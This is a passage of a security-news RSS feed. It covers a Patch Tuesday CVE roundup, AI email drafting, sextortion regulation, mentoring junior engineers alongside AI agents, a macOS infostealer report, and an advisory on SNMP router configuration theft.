(AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Superhuman’s new auto-draft feature almost makes me like AI replies]]></title>
<description><![CDATA[Superhuman’s latest AI email drafting feature is its most convincing yet, generating replies that often required little to no editing in our testing.]]></description>
<link>https://tsecurity.de/de/3668179/it-nachrichten/superhumans-new-auto-draft-feature-almost-makes-me-like-ai-replies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668179/it-nachrichten/superhumans-new-auto-draft-feature-almost-makes-me-like-ai-replies/</guid>
<pubDate>Tue, 14 Jul 2026 16:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Superhuman’s latest AI email drafting feature is its most convincing yet, generating replies that often required little to no editing in our testing.]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety Regulators Press Tech Companies To Fix Sextortion Flaws]]></title>
<description><![CDATA[An online safety regulator in Australia says big technology platforms need to do much more to protect young people from sexual extortion. According to the eSafety Commission, teenagers are facing a massive wave of attacks where bad actors trick them into sharing private photos and then demand mon...]]></description>
<link>https://tsecurity.de/de/3668024/ios-mac-os/safety-regulators-press-tech-companies-to-fix-sextortion-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668024/ios-mac-os/safety-regulators-press-tech-companies-to-fix-sextortion-flaws/</guid>
<pubDate>Tue, 14 Jul 2026 15:10:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An online safety regulator in Australia says big technology platforms need to do much more to protect young people from sexual extortion. According to the eSafety Commission, teenagers are facing a massive wave of attacks where bad actors trick them into sharing private photos and then demand money. More than ten percent of teens between sixteen and eighteen have fallen victim to this crime, often starting before they turn sixteen.



Platforms must find clear ways to block repeat offender scripts



The latest report points fingers at several large companies, noting that Google and Meta fall short in catching these bad actors. Scammers typically pose as teens to build trust, send a fake explicit picture, and ask for one in return. Once the victim replies, the scammer threatens to send the images to family and friends unless a payment is made.



The core issue involves how these apps handle text monitoring. "The specific failure named is language analysis. Sexual extortion offenders work from recognisable scripts, the same coercive phrases repeated across thousands of approaches, and the report says platforms are not deploying the technology that would spot them."



The regulator stated that apps like WhatsApp often lack clear reporting buttons for sexual extortion. Apple also caught criticism over how iMessage handles these threats. The safety group suggested the company could scan for these common scam phrases directly on the iPhone without breaking user privacy. 



Apple already uses similar on-device scanning to blur nude photos sent to children. Recent test versions of its mobile software show the company might be testing a malicious message detection feature to solve this exact problem.



For now, safety groups are making it clear that the technology industry holds the tools to stop these scams at the source. If a company steps up and uses the tracking methods already available to it, it can cut off these extortion scripts before the messages ever reach a teenager's screen.]]></content:encoded>
</item>
<item>
<title><![CDATA[How do you go from junior to staff engineer when AI writes the code?]]></title>
<description><![CDATA[A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?



It’s a fair question and a harder one to answer than it was just a year ago.



The path...]]></description>
<link>https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</guid>
<pubDate>Tue, 14 Jul 2026 13:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?</p>



<p class="wp-block-paragraph">It’s a fair question and a harder one to answer than it was just a year ago.</p>



<p class="wp-block-paragraph">The path used to be well-known. As a newly hired junior software engineer, you were given an experienced mentor who would assign you simple tasks to learn the ropes. You’d write some code, ask plenty of questions, open a pull request, get feedback in code review, think about it and fix your code. Rinse and repeat that a few hundred times. The tasks became more complex; the feedback got shorter and along the way you’ve been building judgment, the thing that separates a senior engineer from a junior one.</p>



<p class="wp-block-paragraph">Now AI writes most of the code. The loop looks different and the easy assumption is that it’s broken: fewer tasks for juniors to cut their teeth on, an agent fixing the code that another agent wrote, thinner path to judgment.</p>



<h2 class="wp-block-heading"><a></a>Mentoring got easier, not harder</h2>



<p class="wp-block-paragraph">I knew just the person to ask: how do we grow senior and staff engineers in the AI era? Adam Berry is a staff engineer at Netflix, a member of <a href="https://dx.community/">The Hangar</a>, our community of engineering leaders, and someone I have been discussing the evolving role of code review and <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing</a> for a while now. He spends his time on getting AI adoption right, rather than just fast, in their engineering organization and has been working out the question of growing new engineers in practice. Mentoring juniors in an agentic world, Adam says, isn’t harder; it’s embarrassingly easy.</p>



<p class="wp-block-paragraph">“You grow juniors and help them become better engineers the same way you always did. AI isn’t changing the methodology. It’s changing the details,” he told me. His point is that the agentic world gives a lot more options for giving juniors bounded tasks to work on and more feedback. The scattered remarks and comments seniors used to give in person now can be put into instructions and guardrails.</p>



<p class="wp-block-paragraph">Adam breaks working with agents into three foundational skills:</p>



<ul class="wp-block-list">
<li>If you don’t know how to do something with the agent, ask the agent.</li>



<li>If the agent does something you don’t like, figure out how to correct it and then codify it so it doesn’t happen again.</li>



<li>Your sense of when the agent has gone off the rails.<br><br></li>
</ul>



<p class="wp-block-paragraph">“Most juniors can pick up the first two on their own. On the third one, they need guidance, he says.<br><br></p>



<p class="wp-block-paragraph">His process for building it is staged. “The stages are about growing scope. First, you give a junior engineer a well-specified task—and these are now bigger than what you’d have given a junior before. You can give them task definitions that are like a prompt and instructions to drive that prompt, make sure they got to a good plan, make sure they understood the plan, and that they thought through the test cases, etc.<br><br>Then gradually you peel off some of that specificity so they have to build the muscle themselves. Once they’ve gotten good at that level of scope, they’re ready to work on larger scoped problems.”<br><br>Starting from more specific problems and going towards ambiguous problems is the definition of growing as an engineer.</p>



<h2 class="wp-block-heading"><a></a>Pair programming with the agent in the room</h2>



<p class="wp-block-paragraph">Seniors can still do pairing sessions with juniors, now with the agent in the room.<br><br>“In the pairing session, the earlier-career engineer should be the one driving. The agent can be set up to interrogate the junior rather than just answer them. None of you is manually writing code, but you’re still doing pair programming and mentoring. Even if it’s just a trivial bug fix, if you guide a junior through it, it forces them to do just that little bit of thinking.”<br><br>Adam says mentoring juniors today does not have to mean forcing them to write code manually. Seniors should teach them the process of agentic engineering, and that’s exactly what they should focus on during the pairing sessions. The habit he wants to be installed early is asking for options instead of answers.<br><br>“I aim to teach juniors to ask for options and think through them, even on small tasks. I ask them to explain what their input to the AI tool was that led to the code they got. But I’d also show them how I would have done the same thing.”<br><br>The pairing produces artifacts as it goes. “That’s where you get into conversations of, ‘This is why that wasn’t quite it for me,’ and if I see that that’s not baked into the repo, I’m going to add this into the ADR, into the design, into the instruction set. I’ll codify that so the junior gets it too, and they know why it exists, because they watched me go through it with the tool myself.”</p>



<p class="wp-block-paragraph">That reshapes the code review instead of removing it. Making that work puts more on senior engineers, not less. “Senior engineers need to ensure that things like ADRs, or whatever system you use, are properly encapsulated in the repo for both the agents and the humans to consume.” His team also attaches the prompts to the pull request and has the agent summarize what it did against what the prompt asked.<br><br></p>



<p class="wp-block-paragraph">Adam also teaches junior engineers how to bring in expert sources from outside into AI tools. He’ll point an agent at a book like Michael Feathers’ <em>Working with Legacy Code</em> as an example of what quality code looks like and have it work from the concepts directly.</p>



<h2 class="wp-block-heading"><a></a>Don’t outsource the thinking</h2>



<p class="wp-block-paragraph">His arguments make sense, but I also recently came across <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=11363384">research</a> examining the influence of AI tools on how and why members of software engineering teams interact. Their finding was not surprising: of the 131 surveyed developers, 51% said they now ask GenAI for technical help they once would have asked a person, and 62% said it was easier to ask GenAI without fear of embarrassment.</p>



<p class="wp-block-paragraph">When a junior gets stuck now, their first move usually isn’t to message a senior on Slack. It’s to ask the agent. This is also the case in code reviews. The purpose of code reviews was always <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing </a>as much as it was a quality gate. What I see junior engineers do now is take the feedback and, without reading it closely, hand it straight to the agent to resolve. The part where they would have to understand how their work differed from what the senior expected disappears. It got passed from the reviewer to the agent, and the junior skipped the understanding.</p>



<p class="wp-block-paragraph">This isn’t really the junior’s fault. They need the motivation and the space to do it differently, and the default pattern under delivery pressure is to push the thing out and worry about it later.<br><br>The same research showed that developers turned to colleagues with questions about context (65% to clarify business logic or requirements, 50% for how something had been done before).</p>



<p class="wp-block-paragraph">Respondents were also aware of the trap that Berry’s approach was created to avoid: AI tends to hand back a single answer, compared to multiple perspectives a colleague surfaces and they kept seeking teammates for context-specific expertise, mentorship and plain social connection.</p>



<p class="wp-block-paragraph"><br>The fix is almost mechanical: if you have to make a choice, you have to think about it. I do this in my own product thinking. Most of it happens by bouncing ideas off Claude, but whenever something is complex, I make myself lay out a few options, trade them against each other and decide which direction to take. That’s the same move Berry wants juniors making, and it’s what builds judgment, whether you’re twenty-two or forty.</p>



<h2 class="wp-block-heading"><a></a>Why we should still hire juniors</h2>



<p class="wp-block-paragraph">There’s also a hiring question underneath all of this. We recently hosted Kent Beck, an industry legend, at <a href="https://dx.community/">the Hanga</a>r in a session we called “Juniors FTW,” and his reasoning was that the industry is being remade fast enough that being new is an advantage. Juniors are too new to have absorbed what everyone “knows” is impossible, which leaves them less biased, more creative and carrying fewer preconceived mental barriers.</p>



<p class="wp-block-paragraph">Beck also <a href="https://newsletter.kentbeck.com/p/hey-n00b-we-didnt-hire-you-to-complete">wrote</a> about how important it is to hire juniors without the calculation of how many tasks they can perform.<br><br>“If all we cared about was today’s productivity, we wouldn’t have hired you at all. Instead, we (the seniors) are focused on the future: we know there’s going to be far more work here than we could possibly accomplish. We are paying your salary now as the option premium on the engineer you will become. If we play this game right, we’ll have a kick-ass next generation of engineers. If not, we’ll have to be doing the same engineering jobs ten years from now, and we really don’t want to be doing that.”</p>



<h2 class="wp-block-heading"><a></a>The pipeline is thinning</h2>



<p class="wp-block-paragraph">The trend is running the other way. Entry-level hiring at the 15 biggest tech firms fell 25 percent from 2023 to 2024, according to a <a href="https://www.signalfire.com/blog/signalfire-state-of-talent-report-2025">report from SignalFire</a>. In a recent <a href="https://stackoverflow.blog/2025/12/26/ai-vs-gen-z/">survey of engineering leaders</a>, a majority said they plan to hire fewer juniors, on the logic that AI lets seniors cover more ground.</p>



<p class="wp-block-paragraph">That logic is short-sighted in a specific way. Senior engineers don’t appear from nowhere. They’re the juniors someone hired five or ten years ago and invested in mentoring them. Stop hiring and growing juniors now, and the gap doesn’t show up this year. It shows up later, when the industry needs people with the judgment that only comes from years of making mistakes and recovering from them and finds it stopped producing them.</p>



<p class="wp-block-paragraph">So, here’s the answer to the question that the new hire asked: the path to senior and to staff is the same path it always was. You grow the range of ambiguity you can handle, and you stay honest about the part you can’t handle yet. What changed is the interface. The agent writes the code. Your job is to keep asking questions to your colleagues and the agents and keep doing the thinking until the thinking is good.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[X's algorithm will finally prioritize replies from people you already follow]]></title>
<description><![CDATA[X has made a tweak to give your replies a boost in your friends' comment section.]]></description>
<link>https://tsecurity.de/de/3667666/it-nachrichten/xs-algorithm-will-finally-prioritize-replies-from-people-you-already-follow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667666/it-nachrichten/xs-algorithm-will-finally-prioritize-replies-from-people-you-already-follow/</guid>
<pubDate>Tue, 14 Jul 2026 12:48:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[X has made a tweak to give your replies a boost in your friends' comment section.]]></content:encoded>
</item>
<item>
<title><![CDATA[CrashStealer Malware Targets Mac Users Through Fake App Prompts]]></title>
<description><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browse...]]></description>
<link>https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</guid>
<pubDate>Tue, 14 Jul 2026 04:55:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browser data, crypto wallet credentials, and passwords saved directly on your computer.



What makes this attack especially dangerous is that the initial download actually passed security checks from Apple and received official notarization. Apple has since revoked the developer credentials, but the campaign highlights how attackers are getting better at sneaking past standard security gates.



Attackers use a fake meeting app to deliver the payload



The attack typically starts with a fake collaboration or meeting app called "Werkbit." Scammers place this download behind a specific meeting PIN, meaning they are likely targeting specific victims directly rather than blasting the link across the public internet.



Once a user downloads and opens the Werkbit app, it quietly reaches out to a remote server and downloads the actual CrashStealer malware in the background. The malware then disguises itself as "CrashReporter," a name chosen to mimic an official macOS crash reporting tool that most users would ignore.



The malware uses fake password prompts to unlock your data



Once installed on your system, CrashStealer generates a pop-up window that looks exactly like a standard Mac authorization prompt. It asks you to enter your system password to grant access for "system administration."



If you enter your password, the malware validates it immediately. It then uses your confirmed password to unlock your Mac login keychain. CrashStealer rapidly copies your saved passwords from browsers, password managers, and crypto extensions. It bundles all this data into an encrypted ZIP file and sends it back to the attackers. The malware also sets itself to run automatically every time you log in, so the threat stays active even if you restart your computer.



If you suspect you have downloaded a suspicious meeting app or entered your password into an unexpected prompt, security experts recommend disconnecting from the internet, changing all major passwords from a safe device, and completely erasing your Mac to perform a clean install.]]></content:encoded>
</item>
<item>
<title><![CDATA[Governments to enterprises: Improve your router security hygiene]]></title>
<description><![CDATA[Global security agencies say enterprises must clean up their act as Russian government-sponsored attackers exploit weaknesses in routers.



According to a new multinational cybersecurity advisory, cyberattackers continue to exploit inadequately-protected and/or poorly-configured network devices ...]]></description>
<link>https://tsecurity.de/de/3666715/it-security-nachrichten/governments-to-enterprises-improve-your-router-security-hygiene/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666715/it-security-nachrichten/governments-to-enterprises-improve-your-router-security-hygiene/</guid>
<pubDate>Tue, 14 Jul 2026 04:23:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Global security agencies say enterprises must clean up their act as Russian government-sponsored attackers exploit weaknesses in routers.</p>



<p class="wp-block-paragraph">According to a new multinational <a href="https://www.ic3.gov/CSA/2026/260713.pdf" target="_blank" rel="noreferrer noopener">cybersecurity advisory</a>, cyberattackers continue to exploit inadequately-protected and/or poorly-configured network devices via age-old tactics. Threat actors scan for weakened devices, typically routers, allowing them to “opportunistically” compromise critical infrastructure networks, according to the bulletin from 19 federal agencies across North America, the UK, Europe, and Australia.</p>



<p class="wp-block-paragraph">They then transfer configuration files to servers they control. These files, containing plaintext or weakly-encoded information like credentials, or details about the organization’s network, hold most of the potential value, noted <a href="https://www.infotech.com/profiles/seva-ioussoufovitch" target="_blank" rel="noreferrer noopener">Seva Ioussoufovitch</a>, a senior research analyst at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">“It might sound simple, but this tactic has been exploited for well over a decade, and is clearly still effective,” he said.</p>



<h2 class="wp-block-heading">How SNMP attacks work</h2>



<p class="wp-block-paragraph">To begin their attack, state-sponsored cybercriminals send requests via the standard Simple Network Management Protocol (SNMP) framework that supports device-network information exchange, which allows them to scan for weak, insecure devices still using older SNMPv1 or SNMPv2 protocols that accept common or default “community strings” for authentication. These strings are typically shared passwords, with predictable, public defaults that might have been left untouched by admins. Additionally, many of these devices may remain in their basic router configurations.</p>



<p class="wp-block-paragraph">Using spoofed IP addresses, threat actors instruct SNMP agents running on these devices to copy their configurations to a file (typically “config.bkp” or “output.txt”), then transfer that file to virtual private servers (VPSs) that they control. In addition, cybercriminals are exploiting <a href="https://www.csoonline.com/article/4168484/your-refresh-plan-has-a-cve-blind-spot.html" target="_blank">common vulnerabilities and exposures</a> (CVEs) in Cisco devices, as well as in the Cisco’s Smart Install (SMI) tool.</p>



<p class="wp-block-paragraph">Actors have exploited, at the very least, <a href="https://nvd.nist.gov/vuln/detail/cve-2018-0171" target="_blank" rel="noreferrer noopener">CVE-2018-0171</a> (published in 2018) and <a href="https://nvd.nist.gov/vuln/detail/cve-2008-4128" target="_blank" rel="noreferrer noopener">CVE-2008-4128</a> (published in 2008), according to the bulletin. Both of these targeted <a href="https://www.csoonline.com/article/4043721/russian-hackers-exploit-old-cisco-flaw-to-target-global-enterprise-networks.html" target="_blank">Cisco routers</a>, giving remote, unauthenticated attackers the ability to execute arbitrary code, take unauthorized actions, or cause a denial of service (DoS).</p>



<p class="wp-block-paragraph">Notable groups using this method are known to the security community as “Berserk Bear,” “Crouching Yeti,” “Dragonfly,” “Energetic Bear,” “Ghost Blizzard,” and “Static Tundra.” According to the bulletin, the industries most vulnerable to Russian state-sponsored cyber actors include communications, energy, financial services, defense industrial bases, healthcare and public health facilities, and government services and facilities.</p>



<h2 class="wp-block-heading">A set-and-forget approach, even in 2026</h2>



<p class="wp-block-paragraph">The problem with router hygiene is that devices are susceptible to a “confluence of typical enterprise shortcomings” when it comes to operationalizing security, noted Info-Tech’s Ioussoufovitch.</p>



<p class="wp-block-paragraph">“Many organizations still take a set-it-and-forget-it approach to routers, and don’t track them like they would an endpoint,” he said.</p>



<p class="wp-block-paragraph">Compounding this risk is the fact that routers are typically critical to business continuity, which increases the necessity of keeping their security up-to-date. To make things worse, in some cases, it might also be unclear who’s in charge of device security. “Security points to the network team and they’re pointing right back at security,” Ioussoufovitch noted.</p>



<p class="wp-block-paragraph">As well, many organizations continue to rely on legacy hardware that may be unsupported, but that the business is unwilling to replace.</p>



<p class="wp-block-paragraph">Ultimately, Ioussoufovitch said, “network security just doesn’t seem to be receiving the same amount of attention as the usual areas of focus (like endpoints).”</p>



<h2 class="wp-block-heading">Recommendation: Move away from older protocols and devices immediately</h2>



<p class="wp-block-paragraph">Specifically, the agencies urged security teams and network admins to upgrade to SNMPv3, enforce secure passwords, disable Cisco Smart Install, and block SNMP and common file transfer methods “at the firewall.”</p>



<p class="wp-block-paragraph">Enterprises should immediately disable SNMPv1 and SNMPv2, which are “legacy protocols and should no longer be needed on current devices.” In instances where they are still deemed necessary, shift from default settings to grant read-only access (no read-write access).</p>



<p class="wp-block-paragraph">SNMPv3 should be employed with <em>authPriv</em> configured to the “most modern encryption standard,” the bulletin advised. SNMPv3 adds strong authentication and data encryption unavailable in previous versions, and has more securely encoded parameters to authenticate and encrypt data.</p>



<p class="wp-block-paragraph">“Moving to SNMPv3, which offers stronger authentication and encryption, is a clear, actionable step security teams need to prioritize now,” Ioussoufovitch agreed.</p>



<p class="wp-block-paragraph">The government agencies urged enterprises to use strong, unique passwords for local accounts on network devices, and to monitor for unusual credentials that do not match standard naming conventions, or misconfiguration in logs or intrusion detection systems (IDS). Networks should support multi-factor authentication (MFA), and admins should enforce allow lists for management protocols like SNMP.</p>



<p class="wp-block-paragraph">Additionally, enterprises should update network device software, retire end-of-life devices, and disable Cisco Smart Install on all machines once initial configuration is complete, as this introduces serious <a href="https://www.csoonline.com/article/4195710/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control.html" target="_blank">security issues</a> when it inadvertently remains enabled, the agencies said.</p>



<h2 class="wp-block-heading">Network security must improve across the board</h2>



<p class="wp-block-paragraph">The advisory is a signal that enterprises may be underinvesting in network security, noted Ioussoufovitch. Admins and security leaders should be asking these questions:</p>



<ul class="wp-block-list">
<li>Do they have decent network detection and response capabilities in place?</li>



<li>Are they applying analytics and anomaly detection to network traffic patterns?</li>



<li>Have they incorporated micro-segmentation across the enterprise environment to limit risks posed by any individual router?</li>
</ul>



<p class="wp-block-paragraph">“Getting at least some of these proactive measures in place, while taking a more disciplined approach to the tracking and replacement of EOL devices, can help security and network teams finally start making some headway against these types of threats,” said Ioussoufovitch.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security agreed that enterprise networking equipment security must be improved, but said that’s more on the vendors than the critical infrastructure providers. Vendors should be shipping products that are secure by default; customers shouldn’t have to be going back and turning these features on.</p>



<p class="wp-block-paragraph">He added that it would be great to see Salt Typhoon-proof levels of device security and authentication. “Right now, it’s been trivial for them to pwn networking gear,” he said.</p>



<p class="wp-block-paragraph">While the guidance is important and will help, Shipley said, “building better and shipping secure by default would do even more.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4196447/governments-to-enterprises-improve-your-router-security-hygiene.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Governments to enterprises: Improve your router security hygiene]]></title>
<description><![CDATA[Global security agencies say enterprises must clean up their act as Russian government-sponsored attackers exploit weaknesses in routers.



According to a new multinational cybersecurity advisory, cyberattackers continue to exploit inadequately-protected and/or poorly-configured network devices ...]]></description>
<link>https://tsecurity.de/de/3666705/it-security-nachrichten/governments-to-enterprises-improve-your-router-security-hygiene/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666705/it-security-nachrichten/governments-to-enterprises-improve-your-router-security-hygiene/</guid>
<pubDate>Tue, 14 Jul 2026 03:51:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Global security agencies say enterprises must clean up their act as Russian government-sponsored attackers exploit weaknesses in routers.</p>



<p class="wp-block-paragraph">According to a new multinational <a href="https://www.ic3.gov/CSA/2026/260713.pdf" target="_blank" rel="noreferrer noopener">cybersecurity advisory</a>, cyberattackers continue to exploit inadequately-protected and/or poorly-configured network devices via age-old tactics. Threat actors scan for weakened devices, typically routers, allowing them to “opportunistically” compromise critical infrastructure networks, according to the bulletin from 19 federal agencies across North America, the UK, Europe, and Australia.</p>



<p class="wp-block-paragraph">They then transfer configuration files to servers they control. These files, containing plaintext or weakly-encoded information like credentials, or details about the organization’s network, hold most of the potential value, noted <a href="https://www.infotech.com/profiles/seva-ioussoufovitch" target="_blank" rel="noreferrer noopener">Seva Ioussoufovitch</a>, a senior research analyst at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">“It might sound simple, but this tactic has been exploited for well over a decade, and is clearly still effective,” he said.</p>



